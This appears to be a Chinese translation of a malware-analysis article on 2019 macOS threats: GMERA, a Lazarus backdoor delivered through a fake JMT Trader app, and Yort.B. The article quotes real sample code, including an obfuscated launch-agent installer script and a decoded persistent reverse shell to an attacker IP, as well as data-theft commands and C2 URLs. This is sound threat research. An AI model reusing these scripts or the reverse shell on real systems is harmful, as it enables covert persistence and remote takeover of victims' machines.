对2019全年的Mac恶意程序的全面分析(GMERA,Lazarus,Yort.B)
OSX.GMERA(A/B)
GMERA是Lazarus黑客组织开发的木马,它会不断向远程攻击者公开目标的shell。比如,欺骗交易应用程序的Mac恶意程序会窃取用户信息,并将其上传到网站。或者,通过行为检查检测macOS.GMERA恶意程序。
感染媒介:伪造密货币应用程序
Lazarus小组的实际感染机制是创建伪造的加密货币应用程序(通常由合法的网站支持),并强迫用户安装该应用程序。
在卡巴斯基的2018年的调查中,他们发现受害者已受到木马加密货币交易应用程序的感染,该应用程序是通过电子邮件传播的。事实证明,用户很容易从看似合法的网站[Celas LLC]下载第三方应用程序。
[Celas LLC]下似乎已经找到了一种复杂的方法来创建一个合法的业务,并将一个恶意的有效载荷注入一个“合法的”程序更新机制。听起来合乎逻辑:如果一个人不能破坏一条供应链,为什么不制造一个假供应链呢?
我还在几次会议演讲中谈到了这种攻击:
正如趋势科技所指出的那样,Lazarus组织在2019年延续了这一攻击势头。但是,这种攻击程序的流行导致网络犯罪分子滥用它们,他们创建了伪造的交易应用程序,以诱使毫无戒心的受害者窃取其个人数据。研究人员最近发现并分析了这样一个应用程序的示例,该应用程序具有恶意程序变种,伪装成一个基于Mac的合法交易应用程序Stockfolio,Stockfolio可是一个合法的实时股票行情程序。
因此,如果目标用户下载并运行Stockfolio应用程序,则他们将感染OSX.GMERA。
持久性攻击力来自Launch Agent
TrendMicro指出,只有第二版的GMERA (B)存在。以OSX.GMERA的trojanized Stockfolio应用程序包为例。GMERA (B)在Resources/ 目录中显示一个名为run.sh的文件:
该脚本会将一个持久(隐藏的)Launch Agent安装到:〜/ Library / LaunchAgents / .com.apple.upd.plist:
$ cat Stockfoli.app/Contents/Resources/run.sh #! /bin/bash ... plist_text="PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCFET0NUWVBFIHBsaXN0IFBVQkxJQyAiLS8vQXBwbGUvL0RURCBQTElTVCAxLjAvL0VOIiAiaHR0cDovL3d3dy5hcHBsZS5jb20vRFREcy9Qcm9wZXJ0eUxpc3QtMS4wLmR0ZCI+CjxwbGlzdCB2ZXJzaW9uPSIxLjAiPgo8ZGljdD4KCTxrZXk+S2VlcEFsaXZlPC9rZXk+Cgk8dHJ1ZS8+Cgk8a2V5PkxhYmVsPC9rZXk+Cgk8c3RyaW5nPmNvbS5hcHBsZXMuYXBwcy51cGQ8L3N0cmluZz4KCTxrZXk+UHJvZ3JhbUFyZ3VtZW50czwva2V5PgoJPGFycmF5PgoJCTxzdHJpbmc+c2g8L3N0cmluZz4KCQk8c3RyaW5nPi1jPC9zdHJpbmc+CgkJPHN0cmluZz5lY2hvICdkMmhwYkdVZ09qc2daRzhnYzJ4bFpYQWdNVEF3TURBN0lITmpjbVZsYmlBdFdDQnhkV2wwT3lCc2MyOW1JQzEwYVNBNk1qVTNNek1nZkNCNFlYSm5jeUJyYVd4c0lDMDVPeUJ6WTNKbFpXNGdMV1FnTFcwZ1ltRnphQ0F0WXlBblltRnphQ0F0YVNBK0wyUmxkaTkwWTNBdk1Ua3pMak0zTGpJeE1pNHhOell2TWpVM016TWdNRDRtTVNjN0lHUnZibVU9JyB8IGJhc2U2NCAtLWRlY29kZSB8IGJhc2g8L3N0cmluZz4KCTwvYXJyYXk+Cgk8a2V5PlJ1bkF0TG9hZDwva2V5PgoJPHRydWUvPgo8L2RpY3Q+CjwvcGxpc3Q+" echo "$plist_text" | base64 --decode > "/tmp/.com.apple.upd.plist" echo "tmpplist - $(cat /tmp/.com.apple.upd.plist))" >> /tmp/loglog cp "/tmp/.com.apple.upd.plist" "$HOME/Library/LaunchAgents/.com.apple.upd.plist" echo "tmpplist - $(cat $HOME/Library/LaunchAgents/.com.apple.upd.plist))" >> /tmp/loglog launchctl load "/tmp/.com.apple.upd.plist"
对plist_text变量进行解码可以显示以下的plist内容:
$ python >>> import base64 >>> plist_text="PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCFET0NUWVB..." >>> base64.b64decode(plist_text) >>> '\n\n\n\n\tKeepAlive\n\t\n\tLabel\n\tcom.apples.apps.upd\n\tProgramArguments\n\t\n\t\tsh\n\t\t-c\n\t\techo \'d2hpbGUgOjsgZG8gc2xlZXAgMTAwMDA7IHNjcmVlbiAtWCBxdWl0OyBsc29mIC10aSA6MjU3MzMgfCB4YXJncyBraWxsIC05OyBzY3JlZW4gLWQgLW0gYmFzaCAtYyAnYmFzaCAtaSA+L2Rldi90Y3AvMTkzLjM3LjIxMi4xNzYvMjU3MzMgMD4mMSc7IGRvbmU=\' | base64 --decode | bash\n\t\n\tRunAtLoad\n\t\n\n'
格式化时是“标准”Launch Agentplist:
由于〜/ Library / LaunchAgents / .com.apple.upd.plist将RunAtLoad项设置为
功能:持久的远程shell
趋势科技在GMERA上的报告指出:
“ [OSX.GMERA.A]的主要Mach-O可执行文件将在Resources目录中启动以下捆绑的Shell脚本: plugin, stock。”
卸载主要二进制文件(Stockfoli.app/Contents/MacOS/Stockfoli)支持此主张:
0x000000010000226d 48891C08 mov qword [rax+rcx], rbx 0x0000000100002271 4B8D0C76 lea rcx, qword [r14+r14*2] 0x0000000100002275 488D15600E0000 lea rdx, qword [aStock] ; "stock" ... 0x00000001000022f6 49891C06 mov qword [r14+rax], rbx 0x00000001000022fa 4B8D047F lea rax, qword [r15+r15*2] 0x00000001000022fe 488D0DDD0D0000 lea rcx, qword [aPlugin] ; "plugin" ... 0x0000000100002a09 4C89F7 mov rdi, r14 ; argument #1 for method shellExecute 0x0000000100002a0c E8CFF3FFFF call shellExecute ; shellExecute 0x0000000100002b00 4889DF mov rdi, rbx ; argument #1 for method shellExecute 0x0000000100002b03 E8D8F2FFFF call shellExecute ; shellExecute
插件文件和库存文件都是bash脚本:
$ file Stockfoli.app/Contents/Resources/plugin Stockfoli.app/Contents/Resources/plugin: Bourne-Again shell script text executable, ASCII text $ file Stockfoli.app/Contents/Resources/stock Stockfoli.app/Contents/Resources/stock: Bourne-Again shell script text executable, ASCII text
首先,让我们看一下插件脚本:
该脚本首先通过getINFO函数收集有关受感染系统的大量信息。该信息包:
1.登录用户的用户名(通过whoami);
2.被感染系统的IP地址(通过curl -s ipinfo.io);
3.已安装的应用程序(通过ls / Applications);
4.“文档和桌面”文件夹中的文件(通过ls -lh〜/ Documents和ls -lh〜/ Desktop);
5.操作系统安装日期(通过日期-r /var/db/.AppleSetupDone);
6.磁盘使用率(通过df -h);
7.显示信息(通过system_profiler SPDisplaysDataType)
8.wifi接入点(通过/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s)
9.屏幕捕获(通过screencapture);
然后,它将这些数据上传到https://appstockfolio.com/panel/upload.php,发出服务器对〜/ Library / Containers / .pass的响应。
现在,看看stock脚本:
库存脚本首先将Resources / appcode文件复制到一个临时位置(/ private / var / tmp / appcode)。如果存在〜/ Library / Containers / .pass文件(请记住,此文件是由插件脚本创建的,并带有来自服务器的信息),它将解密并执行appcode文件的副本。
不幸的是,由于我们的服务器处于脱机状态,因此不会创建.pass,因此无法解密appcode文件。趋势科技研究人员的原话如下:
因此,我们怀疑文件appcode是包含其他例程的恶意程序文件。但是,在撰写本文时,由于无法访问登录URL hxxps://appstockfolio.com/panel/upload[.]php,因此我们无法解密此文件。
尽管OSX.GMERA.B样本与OSX.GMERA.A(例如木马Stockfolio.app的感染媒介)具有多种相似之处,但其有效载荷却有所不同,比如调用OSX.GMERA.B执行Resources / run.sh脚本。
使用位于http://owpqkszz.info/link.php的服务器签入后,run.sh脚本中的代码创建了一个指向193.37.212.176的交互式远程shell:
我们还注意到GMERA.B(通过run.sh中的代码)将Launch Agent保留为:〜/ Library / LaunchAgents / .com.apple.upd.plist,以便在用户登录时自动执行命令:
在命令中对base-64编码的数据进行解码,结果如下:
while :; do sleep 10000; screen -X quit; lsof -ti :25733 | xargs kill -9; screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212.176/25733 0>&1'; done
果然,是一个193.37.212.176的持久性交互式远程shell。
当然,这使远程攻击者可以继续访问受感染的系统,并且可以运行任意命令。
Lazarus(暂未未命名)
这个未命名的样本是Lazarus黑客组织开发的后门,它为远程攻击者提供了完整的命令并控制受感染的macOS系统。
感染媒介:被植入恶意程序的合法加密货币应用程序
在2019年10月初,@ malwrhunterteam 在推文中发布了一个有趣的恶意程序传播反思。简而言之,就是攻击者创建了一个虚假公司,通过分发加密货币交易平台JMT Trader来向Mac或Windows用户安装后门。为了推广该应用,攻击者还创建了相应的Twitter帐户。该JMT Trade实际上是合法QT Bitcoin Trader程序的克隆版本,但根据逆向工程师Vitali Kremez的说法,当安装JMT Trader时安装程序还将提取一个名为CrashReporter.exe的辅助程序,该程序是后门程序,它将连接到C&C域beastgoc[.]com并接收命令。卡巴斯基安全研究员Seongsu Park认为JMT Trader与朝鲜Lazarus APT很可能存在关联。因为这与卡巴斯基发现的OSX.AppleJeus样本密切相关。
其实研究人员很早就注意到,Lazarus组织采用的感染方法是木马加密货币交易应用程序。此示例(由于缺少更好的名称,因此我们称为OSX.AppleJeus 2)就是采用了相同的方法来感染macOS目标,首先,创建了一个“新”公司:“JMT Trading”(托管在:https://www.jmttrading.org/):
看起来合理合法,是吗?点击“从Github下载”链接后,用户将跳转到:https://github.com/jmttrading/JMTTrader/releases,其中包含各种下载文件,当然也包含恶意程序的文件,特别是磁盘映像,其中包含名为JMTTrader.pkg的程序包:
如果用户被迫下载并安装木马加密货币交易应用程序,他们将被感染。
请注意,安装程序需要管理权限,但是恶意程序会在安装过程中要求此类权限:
持久性攻击的来源:启动守护程序
JMTTrader.pkg包含一个postinstall脚本(其中包含实际的安装说明)。使用可疑包应用程序(可从这里下载),我们可以查看这个安装文件的内容:
简而言之,此安装脚本的特点如下:
1.安装启动守护程序plist(org.jmttrading.plist);
2.安装守护程序(CrashReporter);
3.使用Maintain命令行参数执行所述守护程序;
守护程序的plist和最初的二进制文件都被嵌入到.pkg中的应用程序JMTTrader.app中。具体来说,它们是在/ Resources目录中找到的隐藏文件:Resources/.org.jmttrading.plist 和Resources/.CrashReporter:
使用“可疑程序包”应用程序,我们可以提取这两个文件进行分析。
首先,让我们看一下启动守护进程plist(org.jmttrading.plist):
如预期的那样,它引用守护程序/ Library / JMTTrader / CrashReporter(在ProgramArguments数组中)。由于RunAtLoad设置为true,因此每次重新启动系统时,macOS都会自动重新启动守护程序。
功能:持久后门
该恶意程序会通过启动守护程序持久保存CrashReporter二进制文件,通过file命令,我们可以确定其文件类型(Mach-O 64位):
$ file ~/Downloads/.CrashReporter ~/Downloads/.CrashReporter: Mach-O 64-bit executable x86_64
使用我的WhatsYourSign实用程序,我们可以轻松地确定其代码签名状态。尽管已签名,但它是临时签名的:
运行字符串命令,使我们能够深入了解二进制文件的可能功能。
$ strings -a ~/Downloads/.CrashReporter Content-Disposition: form-data; name="%s"; jGzAcN6k4VsTRn9 ... mont.jpg ... beastgoc.com https://%s/grepmonux.php POST ... Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36 X,%`PMk--Jj8s+6=
始终使用-a标志运行字符串命令,以指示它扫描整个文件以寻找可打印(ASCII)字符串!
从字符串命令的输出中,我们可以看到一些有趣的字符串!
1.beastgoc.com, https://%s/grepmonux.php,看起来很像是下载或C&C服务器。
2.Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 ...,看起来很像是二进制文件的用户代理(可能作为IOC有用)。
3.X,%\`PMk--Jj8s+6=,看起来很像是加密或解密密钥。
每次启动恶意程序时,它都会向https://beastgoc.com/grepmonux.php发送HTTP POST请求,其中包含以下数据:
(lldb)x/s 0x100260000 0x100260000: "--jGzAcN6k4VsTRn9\r\nContent-Disposition: form-data; name="token"; \r\n\r\n756222899\r\n--jGzAcN6k4VsTRn9\r\nContent-Disposition: form-data; name="query"; \r\n\r\nconn\r\n--jGzAcN6k4VsTRn9\r\nContent-Disposition: form-data; name="content"; filename="mont.jpg"\r\nContent-Type: application/octet-stream\r\n\r\n\xffffffeb'6MQMk-|Oj8\r\n--jGzAcN6k4VsTRn9--\r\n"
命令和控制服务器将响应加密的任务:
不幸的是,在分析过程中,C&C服务器没有返回任何任务。但是,通过静态分析,我们可以轻松确定恶意程序的功能。
例如,该恶意程序支持“退出”命令,该命令将肯定导致该恶意程序退出:
如果恶意程序接收到up命令,则该恶意程序似乎包含可以打开然后写入文件的逻辑,即,将文件从C&C服务器上传到受感染的主机:
其他命令,将导致恶意程序调用一个名为proc_cmd的函数:
proc_cmd函数似乎通过shell(特别是通过popen API)执行命令:
$ man popen FILE * popen(const char *command, const char *mode); The popen() function ``opens'' a process by creating a bidirectional pipe, forking, and invoking the shell. The command argument is a pointer to a null-terminated string containing a shell command line. This command is passed to /bin/sh, using the -c flag; interpretation, if any, is performed by the shell.
远程执行命令的能力,显然为远程攻击者提供了对受感染的macOS系统的完全和可扩展的控制!
OSX.Yort.B
OSX.Yort.B是Lazarus黑客组织开发的OSX.Yort.A的近似变体,这意味着OSX.Yort.B是一个后门,可为远程攻击者提供完整的命令并控制受感染的macOS系统。
感染媒介:利用被植入恶意载荷的应用程序
10月下旬,Twitter用户@ cyberwar_15 发现了一个针对macOS用户的新Lazarus后门,他发现了恶意的Excel(xls)文档以及恶意的应用程序Album.app。
虽然Lazarus 组织之前曾利用恶意的“宏负载”办公文档(例如OSX.Yort)来针对macOS用户,但恶意的excel文档(如TrendMicro所指出的)并不包含macOS逻辑:
$ olevba 연인심리테스트.xls =============================================================================== FILE: 연인심리테스트.xls Type: OLE ------------------------------------------------------------------------------- VBA MACRO Module1.bas in file: 연인심리테스트.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module1' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - #If Mac Then #Else
因此,它可能会假设恶意应用程序(Album.app)是直接传播(可能是作为电子邮件附件)给目标的。
由于该应用程序未签名,因此用户必须手动禁用或绕过Gatekeeper:
$ codesign -dvv /Users/patrick/Downloads/yort_b/Album.app /Users/patrick/Downloads/yort_b/Album.app: code object is not signed at all
因此,不太可能有很多macOS用户被感染,尽管在针对性的APT操作中,偶有成功的概率。
持久性攻击力的来源:Launch Agent
虽然最初版本的Yort没有被持久化,但OSX.Yort.B作为Launch Agent被持久化。
具体来说,如果强迫用户运行恶意应用程序Album.app,它将永久安装Launch Agent,~/Library/Launchagents/com.adobe.macromedia.plist。
查看恶意应用程序的二进制文件(Album.app/Contents/macOS/Flash Player)的反汇编结果,显示了一个嵌入式属性列表和代码,它们将保存该plist,然后通过launchctl加载将其启动:
我们还可以通过FileMonitor动态观察到这个结果:
# FileMonitor.app/Contents/MacOS/FileMonitor -filter "Flash Player" -pretty { "event" : "ES_EVENT_TYPE_NOTIFY_CREATE", "file" : { "destination" : "~/Library/LaunchAgents/com.adobe.macromedia.flash.plist", "process" : { "uid" : 501, "arguments" : [ ], "ppid" : 1, "ancestors" : [ 1 ], "signing info" : { "csFlags" : 0, "isPlatformBinary" : 0, "cdHash" : "00000000000000000000" }, "path" : "Album.app/Contents/MacOS/Flash Player", "pid" : 1031 } }, "timestamp" : "2019-12-27 21:05:48 +0000" }
当然,这种持久性很容易被我们的BlockBlock工具检测到:
通过com.adobe.macromedia.flash.plist文件,恶意程序会保留一个二进制文件:/Users/user/.FlashUpdateCheck(通过Program密钥指定):
defaults read ~/Library/LaunchAgents/com.adobe.macromedia.flash.plist { EnvironmentVariables = { PATH = "/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin:"; }; KeepAlive = 0; Label = FlashUpdate; LaunchOnlyOnce = 1; Program = "/Users/user/.FlashUpdateCheck"; RunAtLoad = 1; }
设置RunAtLoad项后,每次用户登录时,macOS都会自动重新启动.FlashUpdateCheck二进制文件。
功能:后门
当用户运行恶意的Album.app时,它会保留一个隐藏的二进制文件.FlashUpdateCheck。如下所示,我们可以看到此二进制文件已被Album.app删除:
# FileMonitor.app/Contents/MacOS/FileMonitor -filter "Flash Player" -pretty { "event" : "ES_EVENT_TYPE_NOTIFY_WRITE", "file" : { "destination" : "/Users/user/.FlashUpdateCheck", "process" : { "uid" : 501, "arguments" : [ ], "ppid" : 1, "ancestors" : [ 1 ], "signing info" : { "csFlags" : 0, "isPlatformBinary" : 0, "cdHash" : "00000000000000000000" }, "path" : "/Users/user/Desktop/Album.app/Contents/MacOS/Flash Player", "pid" : 1031 } }, "timestamp" : "2019-12-27 21:05:48 +0000" }
隐藏的.FlashUpdateCheck二进制文件是基本的后门程序,与我们在本文前面介绍的OSX.Yort(mt.dat)基本相同。
快速查看嵌入的字符串,可以证明这一点:
在OSX.Yort.B中,Lazarus组攻击者更改了一些字符串,并删除了各种函数名称。
例如,在OSX.Yort.A中,执行命令函数的名称为aptyl,名称为“ ReplyCmd”,而文件下载命令的名称为“ ReplyDown”。在OSX.Yort.B中,这些函数未命名。
该后门的功能,已经在上文说的很清楚了。但是,重新调用它支持“标准”后门命令,例如:
1.调查;
2.文件下载/上传;
3.(shell)命令执行;
有了这些功能,远程攻击者可以对受感染的macOS系统保持完全的远程控制!